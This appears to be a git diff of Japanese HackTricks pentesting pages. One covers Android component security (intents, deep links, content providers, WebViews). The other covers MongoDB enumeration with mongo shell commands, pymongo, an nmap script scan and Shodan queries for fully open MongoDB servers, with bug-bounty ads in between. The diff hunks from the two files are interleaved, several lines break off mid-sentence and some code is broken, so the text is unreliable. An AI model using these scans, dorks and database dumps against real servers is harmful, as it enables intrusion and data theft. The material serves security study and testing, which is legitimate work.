インテントフィルターは、アクティビティ、サービス、またはブロードキャストレシーバが応答できるインテントの種類を指定します。それはアクティビティやサービスができること、およびレシーバが処理できるブロードキャストの種類を指定します。対応するコンポーネントが宣言されたタイプのインテントを受け取ることができるようにします。インテントフィルターは通常、AndroidManifest.xmlファイルを介して定義されます。ブロードキャストレシーバの場合は、コーディングでも定義することができます。インテントフィルターは、カテゴリ、アクション、およびデータフィルタによって定義されます。さらに、追加のメタデータを含むこともあります。
|
||||
|
||||
Androidでは、アクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバが`exported`が`true`に設定されている場合、**公開**されていますが、コンポーネントが**マニフェストでインテントフィルターを指定**している場合、コンポーネントも**公開**されています。ただし、開発者は、マニフェストファイルの各コンポーネントの`exported`属性
|
||||
インテントは、Intentコンストラクタを使用してプログラムで作成されます。
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
@ -168,11 +176,11 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
```
|
||||
インテントフィルタは、メッセージを受け取るために**アクション**、**データ**、および**カテゴリ**と一致する必要があります。
|
||||
|
||||
「インテントの解決」プロセスは、各メッセージを受け取るべきアプリを決定します。このプロセスでは、**優先度属性**が考慮され、**優先度が高いものが選択されます**。この優先度は、インテントフィルタの宣言で設定でき、-1000から1000の間で設定することができます。アプリケーションは`SYSTEM_HIGH_PRIORITY`の値を使用することもできます。**競合**が発生した場合、ユーザーが決定できるように「選択ウィンドウ」が表示されます。
|
||||
「インテントの解決」プロセスは、各メッセージを受け取るべきアプリを決定します。このプロセスでは、**優先度属性**が考慮されます。この属性は、**インテントフィルタの宣言**で設定でき、**優先度が高いものが選択されます**。この優先度は、-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`の値を使用することができます。**競合**が発生した場合、ユーザーが**決定できるように「選択」ウィンドウが表示されます**。
|
||||
|
||||
### 明示的インテント
|
||||
|
||||
明示的インテントは、ターゲットとなるクラス名を指定します:
|
||||
明示的インテントは、ターゲットとするクラス名を指定します:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
@ -192,13 +200,13 @@ context.startService(intent);
|
|||
|
||||
また、ブロードキャストを送信する際には、パーミッションを指定することも可能です。受信側のアプリはそのパーミッションを持っている必要があります。
|
||||
|
||||
ブロードキャストには2つのタイプがあります:通常(非同期)と順序付け(同期)。順序は、受信側の要素内で設定された優先度に基づいています。各アプリはブロードキャストを処理、中継、または破棄することができます。
|
||||
ブロードキャストには2つのタイプがあります:通常(非同期)と順序付けられた(同期)。順序は、受信側の要素内で設定された優先度に基づいています。各アプリはブロードキャストを処理、中継、または破棄することができます。
|
||||
|
||||
Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用してブロードキャストを送信することができます。また、LocalBroadCastManagerの`sendBroadcast`関数を使用すると、メッセージがアプリを離れることはありません。これを使用すると、受信側コンポーネントをエクスポートする必要さえありません。
|
||||
Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用してブロードキャストを送信することが可能です。また、LocalBroadCastManagerの`sendBroadcast`関数を使用すると、メッセージがアプリを離れることはありません。これを使用すると、受信側コンポーネントをエクスポートする必要もありません。
|
||||
|
||||
### スティッキーブロードキャスト
|
||||
|
||||
この種のブロードキャストは、送信後も長時間アクセスできます。これらはAPIレベル21で非推奨となっており、使用しないことが推奨されています。これにより、任意のアプリケーションがデータを嗅覚するだけでなく、変更することも可能です。
|
||||
この種のブロードキャストは、送信後に長時間アクセスできます。これらはAPIレベル21で非推奨となっており、使用しないことが推奨されています。これにより、任意のアプリケーションがデータを嗅覚するだけでなく、変更することも可能です。
|
||||
|
||||
「sticky」を含む関数(`sendStickyBroadcast`や`sendStickyBroadcastAsUser`など)が見つかった場合は、その影響を確認し、それらを削除しようとしてください。
|
||||
|
||||
|
@ -208,13 +216,13 @@ Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用し
|
|||
|
||||
![](<../../.gitbook/assets/image (214).png>)
|
||||
|
||||
この場合、スキームは`myapp://`です(また、**`category BROWSABLE`**にも注意してください)。
|
||||
この場合、スキームは`myapp://`です(また、**`category BROWSABLE`**に注意してください)。
|
||||
|
||||
`intent-filter`内に次のようなものが見つかった場合:
|
||||
|
||||
![](<../../.gitbook/assets/image (263).png>)
|
||||
|
||||
それは`http://www.example.com/gizmos`のようなものを期待していることを意味します。
|
||||
それは`http://www.example.com/gizmos`のようなものを期待しています。
|
||||
|
||||
次のようなものが見つかった場合:
|
||||
|
||||
|
@ -229,19 +237,19 @@ Contextクラスの`sendBroadcast(intent, receiverPermission)`関数を使用し
|
|||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
[HTML ページを使用せずにディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びましょう。
|
||||
[HTML ページを使用せずにディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びます。
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language**(AIDL)を使用すると、**クライアントとサービスが相互プロセス通信**(IPC)を使用してお互いと通信するために合意するプログラミングインターフェースを定義できます。Androidでは、**通常、1つのプロセスは他のプロセスのメモリにアクセスできません**。そのため、通信するためには、オブジェクトを**オペレーティングシステム**が理解できるプリミティブに分解し、オブジェクトをその境界を越えてマーシャリングする必要があります。そのマーシャリングを行うためのコードは手間がかかるため、AndroidはAIDLでそれを処理します。
|
||||
**Android Interface Definition Language**(AIDL)を使用すると、**クライアントとサービスが相互プロセス通信**(IPC)を使用してお互いと通信するために合意するプログラミングインターフェースを定義できます。Androidでは、**通常、1つのプロセスは他のプロセスのメモリにアクセスできません**。そのため、通信するために、オブジェクトをオペレーティングシステムが理解できるプリミティブに分解し、オブジェクトをその境界を越えてマーシャリングする必要があります。そのマーシャリングを行うコードは書くのが面倒なので、AndroidはAIDLで処理します。
|
||||
|
||||
AIDLを使用するサービスは**バウンドサービス**と呼ばれます。サービスのクラスには**`onBind`**メソッドがあります。これが**相互作用が始まる場所**であり、潜在的な脆弱性を探すためにレビューするコードの最初の部分です。
|
||||
AIDLを使用するサービスは、**バウンドサービス**と呼ばれます。サービスのクラスには、**`onBind`** メソッドがあります。これが**相互作用が始まる場所**であり、潜在的な脆弱性を探すためにレビューするコードの最初の部分です。
|
||||
|
||||
バウンドサービスは、クライアント-サーバーインターフェースのサーバーです。**コンポーネント(アクティビティなど)がサービスにバインドし、リクエストを送信し、レスポンスを受け取り、相互プロセス通信**(IPC)を実行できるようにします。バウンドサービスは通常、他のアプリケーションコンポーネントを提供する間だけ存在し、無期限にバックグラウンドで実行されません。
|
||||
|
||||
### Messenger
|
||||
|
||||
Messengerは、別のIPCメカニズムの一種です。**Messengerも「バウンドサービス」**であるため、クライアントアプリから渡されるデータも`onBind`メソッドを介して処理されます。したがって、コードレビューはこのメソッドから始め、機密機能の呼び出しやデータの安全な処理を探す必要があります。
|
||||
Messengerは、別のIPCメカニズムの一種です。**Messengerも「バウンドサービス」**であるため、クライアントアプリから渡されるデータも`onBind`メソッドを介して処理されます。したがって、コードレビューはこのメソッドから始め、機密な機能の呼び出しやデータの安全な処理を探す必要があります。
|
||||
|
||||
### Binder
|
||||
|
||||
|
@ -253,9 +261,9 @@ Binderクラスが直接呼び出されることは珍しいですが、Binder
|
|||
|
||||
### ランチャーアクティビティとその他のアクティビティ
|
||||
|
||||
**Androidアクティビティ**は、**Android**アプリのユーザーインターフェースの1つの画面です。このように、**Androidアクティビティ**はデスクトップアプリケーションのウィンドウに非常に似ています。**Android**アプリには1つ以上のアクティビティが含まれる場合があります。
|
||||
**Androidアクティビティ**は、**Androidアプリ**のユーザーインターフェースの1つの画面です。このように、**Androidアクティビティ**はデスクトップアプリケーションのウィンドウに非常に似ています。**Android**アプリには1つ以上のアクティビティが含まれる場合があります。
|
||||
|
||||
**ランチャーアクティビティ**は、ほとんどの人がAndroidアプリケーションの**エントリーポイント**と考えるものです。ランチャーアクティビティは、ユーザーがアプリケーションのアイコンをクリックしたときに起動されるアクティビティです。ランチャーアクティビティは、アプリケーションのマニフェストを見ることで判断できます。ランチャーアクティビティは、以下のMAINとLAUNCHERインテントがリストされています。
|
||||
**ランチャーアクティビティ**は、ほとんどの人がAndroidアプリケーションの**エントリーポイント**と考えるものです。ランチャーアクティビティは、ユーザーがアプリケーションのアイコンをクリックしたときに起動されるアクティビティです。ランチャーアクティビティは、アプリケーションのマニフェストを見ることで特定できます。ランチャーアクティビティは、以下のMAINとLAUNCHERのインテントがリストされています。
|
||||
|
||||
UIを持たないアプリケーション、特にバックグラウンドでサービスを実行するプリインストールされたアプリケーション(例:ボイスメール)には、ランチャーアクティビティがない場合があることに注意してください。
|
||||
```markup
|
||||
|
@ -266,7 +274,7 @@ UIを持たないアプリケーション、特にバックグラウンドでサ
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
アクティビティは、デバイス上の他のプロセスがアクティビティを起動できるようにエクスポートすることができます。デフォルトでは、エクスポートされませんが、次の設定を行うことでエクスポートすることができます。
|
||||
アクティビティは、デバイス上の他のプロセスがアクティビティを起動できるようにエクスポートすることができます。デフォルトでは、エクスポートされませんが、以下の設定を行うことでエクスポートすることができます。
|
||||
|
||||
```xml
|
||||
android:exported="true"
|
||||
|
@ -276,7 +284,7 @@ android:exported="true"
|
|||
```markup
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
注意:**アクティビティの保護をバイパスする能力は常に脆弱性ではありません**。アクセスできるデータを確認する必要があります。
|
||||
注意:**アクティビティの保護をバイパスする能力は常に脆弱性ではありません**。アクセスしたデータを確認する必要があります。
|
||||
また、**一部のアクティビティは呼び出し元にデータを返します**。この場合、**`setResult`**メソッドを検索し、Intentパラメータに渡されるデータを確認する必要があります。**もしデータが機密情報であれば、情報漏洩の脆弱性があり、アクティビティと通信可能なアプリで悪用される可能性があります**。
|
||||
|
||||
**アクティビティのコードは`onCreate`メソッドで始まります**。
|
||||
|
@ -289,15 +297,15 @@ Androidアプリケーションは、[Application](https://developer.android.com
|
|||
|
||||
### サービス
|
||||
|
||||
[サービス](https://developer.android.com/guide/components/services)は**UIを持たずにバックグラウンドで実行されます**。ユーザーが別のアプリケーションを使用し始めても、**長時間実行されるプロセスを実行するために使用されます**。
|
||||
[サービス](https://developer.android.com/guide/components/services)は、**UIを持たないバックグラウンドで実行される**ものです。**ユーザーが別のアプリケーションを使用し始めても、長時間実行するために使用されます**。
|
||||
|
||||
サービスはさまざまな方法で開始されるため、アプリケーションのエントリーポイントとなります。サービスをエントリーポイントとして開始するデフォルトの方法は、**Intents**を使用することです。
|
||||
サービスはさまざまな方法で開始されるため、アプリケーションのエントリーポイントとなります。サービスをエントリーポイントとして開始するデフォルトの方法は、**インテント**を使用することです。
|
||||
|
||||
サービスを開始するために**`startService`**メソッドが呼び出されると、サービス内の**`onStart`**メソッドが実行されます。このメソッドは、**`stopService`**メソッドが呼び出されるまで無期限に実行されます。サービスがクライアントが接続している間のみ必要な場合は、クライアントは**`bindService`**メソッドを使用してサービスに「バインド」する必要があります。
|
||||
サービスを開始するために**`startService`**メソッドが呼び出されると、サービス内の**`onStart`**メソッドが実行されます。このメソッドは、**`stopService`**メソッドが呼び出されるまで無期限に実行されます。サービスがクライアントが接続している間だけ必要な場合は、クライアントは**`bindService`**メソッドを使用してサービスに「バインド」する必要があります。
|
||||
|
||||
**バウンドサービス**の場合(前のセクションを参照)、データは**`onBind`**メソッドに渡されます。
|
||||
|
||||
たとえば、サービスはユーザーが別のアプリケーションにいる間にバックグラウンドで音楽を再生したり、ネットワーク経由でデータを取得したりする場合があります。
|
||||
たとえば、サービスはユーザーが別のアプリケーションにいる間にバックグラウンドで音楽を再生したり、アクティビティのユーザーの操作をブロックせずにネットワークからデータを取得したりすることがあります。
|
||||
|
||||
**サービスはエクスポートされることがあり、デバイス上の他のプロセスからサービスを開始できます**。デフォルトでは、サービスはエクスポートされませんが、マニフェストで設定することができます。
|
||||
```markup
|
||||
|
@ -309,13 +317,13 @@ Androidアプリケーションは、[Application](https://developer.android.com
|
|||
|
||||
アプリは**2つの方法**でレシーバーを登録することができます。**アプリのマニフェスト**に登録するか、アプリのコードで**`registerReceiver`** API呼び出しを使用して**動的に登録**するかです。マニフェストでは、レシーバー要素内で**パーミッションを使用して受け入れるブロードキャストを制限**することができます。**動的に**定義する場合は、**`registerReceiver`メソッドにパーミッションを渡す**ことができます。
|
||||
|
||||
いずれの場合でも、レシーバーを登録するためには、レシーバーの**インテントフィルターを設定する必要があります**。これらのインテントフィルターは、レシーバーをトリガーするべきブロードキャストです。
|
||||
いずれの場合でも、レシーバーを登録するためには、レシーバーの**インテントフィルターを設定**する必要があります。これらのインテントフィルターは、レシーバーをトリガーするべきブロードキャストです。
|
||||
|
||||
レシーバーが登録されている特定のブロードキャストが送信されると、BroadcastReceiverクラスの**`onReceive`**が**実行**されます。
|
||||
|
||||
例えば、アプリケーションは低電池メッセージのためにレシーバーを登録し、その情報に基づいて動作を変更することができます。
|
||||
|
||||
ブロードキャストは**非同期**(すべてのレシーバーが受信する)または**同期**(優先度に基づいて順序付けられた方法でブロードキャストが受信される)である場合があります。
|
||||
ブロードキャストは**非同期**(すべてのレシーバーが受信する)または**同期**(優先度に基づいて順序付けられた方法でブロードキャストが受信される)のいずれかです。
|
||||
|
||||
{% hint style="danger" %}
|
||||
**注意:どのアプリケーションでも自身を最優先でブロードキャストを受け取るように設定できます。**
|
||||
|
@ -328,15 +336,15 @@ Androidアプリケーションは、[Application](https://developer.android.com
|
|||
|
||||
コンテンツプロバイダーは、関係データベースなどの**構造化データをアプリ間で共有する方法**です。そのため、これらを保護するために**パーミッション**を使用し、適切な保護レベルを設定することが非常に重要です。\
|
||||
コンテンツプロバイダーは、アプリが持つ必要のあるパーミッションを指定するために**`readPermission`**および**`writePermission`**属性を使用することができます。**これらのパーミッションは、permission属性よりも優先されます**。\
|
||||
さらに、**`grantUriPermission`**をtrueに設定し、その後、マニフェストファイル内のプロバイダ要素内の**`grant-uri-permission`**要素で適切なパラメータを設定することで、**一時的な例外を許可することもできます**。
|
||||
さらに、**`grantUriPermission`**をtrueに設定し、その後、マニフェストファイル内のプロバイダ要素内の**`grant-uri-permission`**要素で適切なパラメータを設定することで、**一時的な例外を許可する**こともできます。
|
||||
|
||||
**`grant-uri-permission`**には、path、pathPrefix、pathPatternの3つの属性があります。
|
||||
|
||||
* **path**: 除外するための完全なパスを指定することができます
|
||||
* **pathPrefix**: パスの先頭部分を指定することができます
|
||||
* **pathPattern**: ワイルドカードとシンボリック置換を使用して、より詳細な制御を行うことができます。
|
||||
* **path**: 除外するための完全なパスを指定する
|
||||
* **pathPrefix**: パスの先頭部分を指定する
|
||||
* **pathPattern**: ワイルドカードとシンボリック置換を使用して、より細かい制御を行うことができる
|
||||
|
||||
潜在的な脆弱性(SQLインジェクションなど)を回避するために、**受け取った入力を検証およびサニタイズすることが重要です**。
|
||||
潜在的な脆弱性(SQLインジェクションなど)を回避するために、受け取った入力を**検証およびサニタイズすることが重要です**。
|
||||
|
||||
**コンテンツプロバイダーの特徴:**
|
||||
|
||||
|
@ -369,11 +377,11 @@ android:resource="@xml/filepaths" />
|
|||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
**`path="."`**のようなものを共有することは、プロバイダがエクスポートされていなくても、コードの他の部分で他の脆弱性がある場合には**危険**です。\
|
||||
**`path="."`**のようなものを共有することは、プロバイダがエクスポートされていなくても、コードの他の部分で脆弱性がある場合には危険です。\
|
||||
`content://com.example.myapp.fileprovider/myimages/default_image.jpg`を使用して、そのフォルダ内の**画像**にアクセスすることができます。
|
||||
|
||||
`<paths>`要素には複数の子要素を持つことができ、それぞれが共有する異なるディレクトリを指定します。**`<files-path>`**要素に加えて、**`<external-path>`**要素を使用して外部ストレージのディレクトリを共有し、**`<cache-path>`**要素を使用して内部キャッシュディレクトリのディレクトリを共有することもできます。\
|
||||
[特定のファイルプロバイダ属性の詳細については、こちらを参照してください。](https://developer.android.com/reference/androidx/core/content/FileProvider)
|
||||
[特定のファイルプロバイダの属性についての詳細はこちらを参照してください。](https://developer.android.com/reference/androidx/core/content/FileProvider)
|
||||
|
||||
[FileProvidersに関する詳細はこちらを参照してください。](https://developer.android.com/training/secure-file-sharing/setup-sharing).
|
||||
|
||||
|
@ -381,7 +389,7 @@ android:resource="@xml/filepaths" />
|
|||
|
||||
WebViewsはAndroidアプリに埋め込まれた**ウェブブラウザ**です。\
|
||||
WebViewsのコンテンツはリモートサイトから取得することも、アプリに含まれるファイルから取得することもできます。\
|
||||
WebViewsは**他のウェブブラウザと同じ脆弱性に対しても脆弱**です。ただし、**攻撃の表面を制限する**のに役立ついくつかの**設定**があります。
|
||||
WebViewsは、他のウェブブラウザに影響を与える同じ脆弱性に**対して脆弱**です。ただし、**攻撃**の**範囲**を**制限**するのに役立ついくつかの**設定**があります。
|
||||
|
||||
Androidには2つのタイプのWebViewがあります:
|
||||
|
||||
|
@ -396,7 +404,7 @@ WebViewのセキュリティは、**`WebSettings`**オブジェクトを介し
|
|||
|
||||
JavaScriptの「**Bridge**」機能は、JavaオブジェクトをWebViewに**注入し、JSからアクセス可能にします**。Android 4.2以降では、JavaScriptからアクセス可能にするためにメソッドに**`@JavascriptInterface`**を注釈する必要があります。
|
||||
|
||||
**`setAllowContentAccess`**に**`true`**を渡すと、**WebViewsは`content://`**スキームを介して**コンテンツプロバイダにアクセスできるようになります**。これは明らかにセキュリティ上のリスクをもたらします。このアクセスが許可されている場合、**`content://`** URLが**安全であることを確認することが非常に重要です**。
|
||||
**`setAllowContentAccess`**に**`true`**を渡すと、**WebViewsは`content://`スキームを介してコンテンツプロバイダにアクセスできます**。これは明らかにセキュリティ上のリスクを引き起こします。このアクセスが与えられる場合、**`content://`** URLが**安全**であることを**確認することが非常に重要です**。
|
||||
|
||||
デフォルトでは、ローカルファイルはWebViewからfile:// URLを介してアクセスできますが、この動作を防ぐためのいくつかの方法があります:
|
||||
|
||||
|
@ -408,15 +416,15 @@ JavaScriptの「**Bridge**」機能は、JavaオブジェクトをWebViewに**
|
|||
|
||||
### **アプリケーションの署名**
|
||||
|
||||
* Androidでは、アプリをインストールする前に、**すべてのアプリがデジタル証明書で署名される**必要があります。Androidはこの証明書を使用してアプリの作者を識別します。
|
||||
* デバイスでアプリを実行するには、アプリは署名されている必要があります。アプリがデバイスにインストールされると、**パッケージマネージャはapkファイルの証明書が正しく署名されているかどうかを検証**します。
|
||||
* アプリは自己署名されるか、CAを介して署名されることがあります。
|
||||
* アプリの署名により、アプリはよく定義されたIPCを介して他のアプリにアクセスすることはできず、変更されずにデバイスに渡されることが保証されます。
|
||||
* Androidでは、アプリをインストールする前に、**すべてのアプリがデジタル証明書で署名**される必要があります。Androidはこの証明書を使用してアプリの作者を識別します。
|
||||
* デバイスでアプリを実行するには、アプリは署名されている必要があります。アプリがデバイスにインストールされると、パッケージマネージャはapkファイルの証明書が正しく署名されているかどうかを検証します。
|
||||
* アプリケーションは自己署名されるか、CAを介して署名されることがあります。
|
||||
* アプリケーションの署名により、アプリはウェル定義されたIPCを介して他のアプリにアクセスすることはできず、変更されずにデバイスに渡されることが保証されます。
|
||||
|
||||
### **アプリケーションの検証**
|
||||
|
||||
* Android 4.2以降、アプリケーションの検証がサポートされています。ユーザーは「アプリの検証」を有効にすることができ、アプリケーションがインストール前にアプリケーション検証プログラムによって評価されます。
|
||||
* アプリの検証により、ユーザーが有害なアプリをインストールしようとした場合に警告を受けることができます。特に悪質なアプリの場合、インストールをブロックすることもできます。
|
||||
* アプリケーションの検証では、ユーザーが有害なアプリをインストールしようとした場合にユーザーに警告することができます。特に悪質なアプリケーションの場合、インストールをブロックすることもできます。
|
||||
|
||||
## モバイルデバイス管理
|
||||
|
||||
|
@ -424,18 +432,15 @@ MDMまたはモバイルデバイス管理は、モバイルデバイス上で
|
|||
|
||||
一般的に、MDMソリューションはパスワードポリシーの強制、ストレージの暗号化の強制、デバイスデータのリモートワイプの有効化などの機能を実行します。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バ
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証
|
||||
|
|
|
@ -12,15 +12,22 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 基本情報
|
||||
|
||||
|
@ -35,35 +42,40 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
### 手動
|
||||
|
||||
MongoDBのポート(27017および27018)が開いているかどうかを確認するために、以下の手順を実行します。
|
||||
MongoDBは、デフォルトでポート27017で動作します。ポート27018は、セカンダリレプリカセットのメンバーとして使用されることがあります。MongoDBの手動列挙には、以下の手順を実行します。
|
||||
|
||||
1. ポートスキャンツール(例:Nmap)を使用して、ターゲットのIPアドレス上のポート27017および27018が開いているかどうかを確認します。
|
||||
1. ポートスキャンツールを使用して、ターゲットシステム上のポート27017および27018が開いているかどうかを確認します。
|
||||
|
||||
2. 開いているポートに対して、MongoDBクライアント(例:mongo)を使用して接続を試みます。
|
||||
2. MongoDBクライアントを使用して、ターゲットシステムに接続します。
|
||||
|
||||
```
|
||||
mongo --host <IPアドレス> --port 27017
|
||||
mongo --host <target_ip> --port 27017
|
||||
```
|
||||
|
||||
もしくは
|
||||
3. 接続が成功した場合、以下のコマンドを使用してデータベースのリストを取得します。
|
||||
|
||||
```
|
||||
mongo --host <IPアドレス> --port 27018
|
||||
show dbs
|
||||
```
|
||||
|
||||
接続が成功した場合、MongoDBのバージョンや設定情報を取得することができます。
|
||||
4. データベースを選択し、コレクションのリストを取得します。
|
||||
|
||||
3. もし接続が失敗した場合、以下の手順を試してみてください。
|
||||
```
|
||||
use <database_name>
|
||||
show collections
|
||||
```
|
||||
|
||||
- ターゲットがMongoDBを実行しているかどうかを確認します。
|
||||
5. 必要に応じて、コレクション内のドキュメントを表示します。
|
||||
|
||||
- ターゲットのファイアウォールがポート27017および27018をブロックしていないか確認します。
|
||||
```
|
||||
db.<collection_name>.find()
|
||||
```
|
||||
|
||||
- ターゲットのMongoDBサーバーが正しく設定されているかどうかを確認します。
|
||||
6. 列挙が完了したら、MongoDBクライアントからログアウトします。
|
||||
|
||||
- ターゲットのMongoDBサーバーが認証を必要とする場合、適切な認証情報を使用して接続を試みます。
|
||||
|
||||
4. 接続が成功した場合、次のステップに進むことができます。
|
||||
```
|
||||
exit
|
||||
```
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
client = MongoClient(host, port, username=username, password=password)
|
||||
|
@ -79,17 +91,59 @@ print(client[db["name"]].list_collection_names())
|
|||
```
|
||||
**いくつかのMongoDBコマンド:**
|
||||
|
||||
```plaintext
|
||||
- `show dbs`: データベースの一覧を表示します。
|
||||
- `use <database>`: 指定したデータベースを使用します。
|
||||
- `show collections`: コレクションの一覧を表示します。
|
||||
- `db.<collection>.find()`: 指定したコレクション内のドキュメントを検索します。
|
||||
- `db.<collection>.insertOne(<document>)`: 指定したコレクションにドキュメントを挿入します。
|
||||
- `db.<collection>.updateOne(<filter>, <update>)`: 指定したフィルターに一致する最初のドキュメントを更新します。
|
||||
- `db.<collection>.deleteOne(<filter>)`: 指定したフィルターに一致する最初のドキュメントを削除します。
|
||||
```bash
|
||||
# Show all databases
|
||||
show dbs
|
||||
|
||||
# Switch to a specific database
|
||||
use <database_name>
|
||||
|
||||
# Show all collections in the current database
|
||||
show collections
|
||||
|
||||
# Insert a document into a collection
|
||||
db.<collection_name>.insertOne({<document>})
|
||||
|
||||
# Find all documents in a collection
|
||||
db.<collection_name>.find()
|
||||
|
||||
# Find documents that match a specific condition
|
||||
db.<collection_name>.find({<condition>})
|
||||
|
||||
# Update documents in a collection
|
||||
db.<collection_name>.updateOne({<filter>}, {<update>})
|
||||
|
||||
# Delete documents from a collection
|
||||
db.<collection_name>.deleteOne({<filter>})
|
||||
```
|
||||
|
||||
**MongoDBの一部のコマンド:**
|
||||
**いくつかのMongoDBコマンド:**
|
||||
|
||||
```bash
|
||||
# すべてのデータベースを表示する
|
||||
show dbs
|
||||
|
||||
# 特定のデータベースに切り替える
|
||||
use <database_name>
|
||||
|
||||
# 現在のデータベース内のすべてのコレクションを表示する
|
||||
show collections
|
||||
|
||||
# コレクションにドキュメントを挿入する
|
||||
db.<collection_name>.insertOne({<document>})
|
||||
|
||||
# コレクション内のすべてのドキュメントを検索する
|
||||
db.<collection_name>.find()
|
||||
|
||||
# 特定の条件に一致するドキュメントを検索する
|
||||
db.<collection_name>.find({<condition>})
|
||||
|
||||
# コレクション内のドキュメントを更新する
|
||||
db.<collection_name>.updateOne({<filter>}, {<update>})
|
||||
|
||||
# コレクションからドキュメントを削除する
|
||||
db.<collection_name>.deleteOne({<filter>})
|
||||
```
|
||||
```bash
|
||||
show dbs
|
||||
use <db>
|
||||
|
@ -100,17 +154,33 @@ db.current.find({"username":"admin"}) #Find in current db the username admin
|
|||
```
|
||||
### 自動
|
||||
|
||||
MongoDB instances running on default ports 27017 and 27018 can be automatically discovered using tools like Shodan or Nmap. These tools can scan the internet for open MongoDB instances and provide a list of IP addresses.
|
||||
MongoDB is a popular NoSQL database that is widely used in web applications. It uses a binary protocol for communication between the client and the server. By default, MongoDB listens on port 27017 for client connections and on port 27018 for internal cluster communication.
|
||||
|
||||
Once you have a list of MongoDB instances, you can proceed with further enumeration and exploitation.
|
||||
During a penetration test, it is important to check if MongoDB is properly secured and not exposed to unauthorized access. One common misconfiguration is leaving the default ports open to the public internet, which can lead to unauthorized access and potential data leaks.
|
||||
|
||||
To automatically check if MongoDB is running on ports 27017 and 27018, you can use a port scanning tool like Nmap. Nmap is a powerful network scanning tool that can be used to discover open ports on a target system.
|
||||
|
||||
Here is an example command to scan for open MongoDB ports using Nmap:
|
||||
|
||||
```
|
||||
nmap -p 27017,27018 <target_ip>
|
||||
```
|
||||
|
||||
Replace `<target_ip>` with the IP address of the target system. This command will scan for open ports 27017 and 27018 on the target system.
|
||||
|
||||
If Nmap reports that the ports are open, it indicates that MongoDB is running on those ports. This could be a potential security risk if the MongoDB instance is not properly secured.
|
||||
|
||||
To further investigate the MongoDB instance, you can use tools like MongoDB Compass or the MongoDB shell. These tools allow you to connect to the MongoDB server and perform various operations, such as querying the database, inserting data, and modifying documents.
|
||||
|
||||
It is important to note that during a penetration test, you should only perform authorized actions and respect the boundaries set by the client. Unauthorized access or data leakage can have serious legal and ethical consequences. Always obtain proper authorization and follow the rules of engagement before conducting any penetration testing activities.
|
||||
```bash
|
||||
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
|
||||
```
|
||||
### Shodan
|
||||
|
||||
* すべてのmongodb: `"mongodbサーバー情報"`
|
||||
* 完全にオープンなmongodbサーバーを検索: `"mongodbサーバー情報" -"部分的に有効化"`
|
||||
* 認証を部分的に有効化する場合: `"mongodbサーバー情報" "部分的に有効化"`
|
||||
* 全てのmongodb: `"mongodb server information"`
|
||||
